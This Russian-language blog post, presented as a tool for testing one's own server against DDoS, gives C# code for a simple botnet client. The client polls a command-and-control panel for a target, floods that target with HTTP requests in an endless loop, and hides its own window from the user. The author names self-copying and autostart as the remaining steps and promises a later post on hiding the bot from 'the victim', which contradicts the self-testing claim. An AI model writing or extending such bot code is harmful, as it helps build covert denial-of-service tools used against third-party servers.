Пишем лёгкий софт для тестирования вашего сервера на ddos атаки на C#

в 8:34, , рубрики: ddos, ботнет, Песочница, метки: , ,

Предисловие
Данный пост создан для людей, желающих провести аудит своих сайтов на ddos атаки. Можно купить ботнет, специальный софт или заказать атаку у людей. Но чаще всего это не выгодно, допустим средняя цена ботнета ~800$. Дороговато, не правдо ли?

Описание
Ботнет — это компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами — автономным программным обеспечением. Чаще всего бот в составе ботнета является программой, скрытно устанавливаемой на устройство жертвы и позволяющей злоумышленнику выполнять некие действия с использованием ресурсов заражённого компьютера. Обычно используются для нелегальной или неодобряемой деятельности — рассылки спама, перебора паролей на удалённой системе, атак на отказ в обслуживании.

image

Ботнет работает по принципу подключаемся к главному компьютеру, считываем команду, выполняем. Мы не будем писать сложную зомби сеть. Напишем просто пример, который будет атаковать наш сервер. Возможно, чуть позже я создам пост о написании сложного ботнета с множеством команд и средствами скрытия от глаз жертвы. Но чуть позже, а так же напоминаю, данный топик служит лишь примером для тестирования личных серверов.

Кодинг
1) Нам нужно, чтобы наш ботнет отсылал запрос каждые 25 секунд к нам в панель управления. Создадим элемент таймер, включим его, поставим значение 25 000 (млс). Соответственно для элемента таймер пропишем выполнение функции запроса к серверу

const string panelLink = "http://site.com/panel/bot.php?q=bot"; // ССЫЛКА ДО ПАНЕЛИ
        public void RequestToPanel()
        {
          /* ЗАПРОСЫ К ПАНЕЛИ */
            System.Net.WebRequest reqGET = System.Net.WebRequest.Create(<hh user=panelLink>);
            System.Net.WebResponse resp = reqGET.GetResponse();
            System.IO.Stream stream = resp.GetResponseStream();
            System.IO.StreamReader sr = new System.IO.StreamReader(stream);
            string ServerReturn = sr.ReadToEnd();
            string[] arrServerReturn = ServerReturn.Split('|'); // Разделяем строку в массив знаком |
            string typeAttack = arrServerReturn[0]; // Получаем тип атаки, в нашем случае будет пока один, http
            string hostAttack = arrServerReturn[1]; // Получаем хост для атаки
            this.Attack(typeAttack, hostAttack); // Выполняем атаку
        }
        private void Attack(string type, string host)
        {
            if (host != null)
            {
                switch (type)
                {
                    case "http":
                        this.httpAttack(host);
                    break;
                }
            }
        }
        private void httpAttack(string host)
        {
            while (true)
            {
                for (int i = 0; i < 250; i++) // Соответственно в 250 потоков
                {
                    System.Net.WebRequest reqGET = System.Net.WebRequest.Create(<hh user=host>);
                    System.Net.WebResponse resp = reqGET.GetResponse();
                    System.IO.Stream stream = resp.GetResponseStream();
                }
            }
        }

Так же при запуске программы сразу стоит сделать выполнение функции RequestToPanel, если мы это не сделаем, она начнёт выполняться только после интервала в таймере.

Соответственно осталось лишь скрыть окна программы, для этого в конструкторе выставим следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False

Так же стоит заметить, что это лишь программа которая запустится один раз и будет выполнять атаку, а не целый ботнет, так как стоит использовать копирование и автозапуск с системой. Я не стал этого писать, так как это лишь пример. Так же стоит отдавать пример в нашем файле, куда идёт запрос на получение команд, вида http|http://oursite.com

Просьба не пинать, так как только пример, да и мой первый кодинг на шарпе.

Спасибо за внимание!

Автор: unrealphp

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js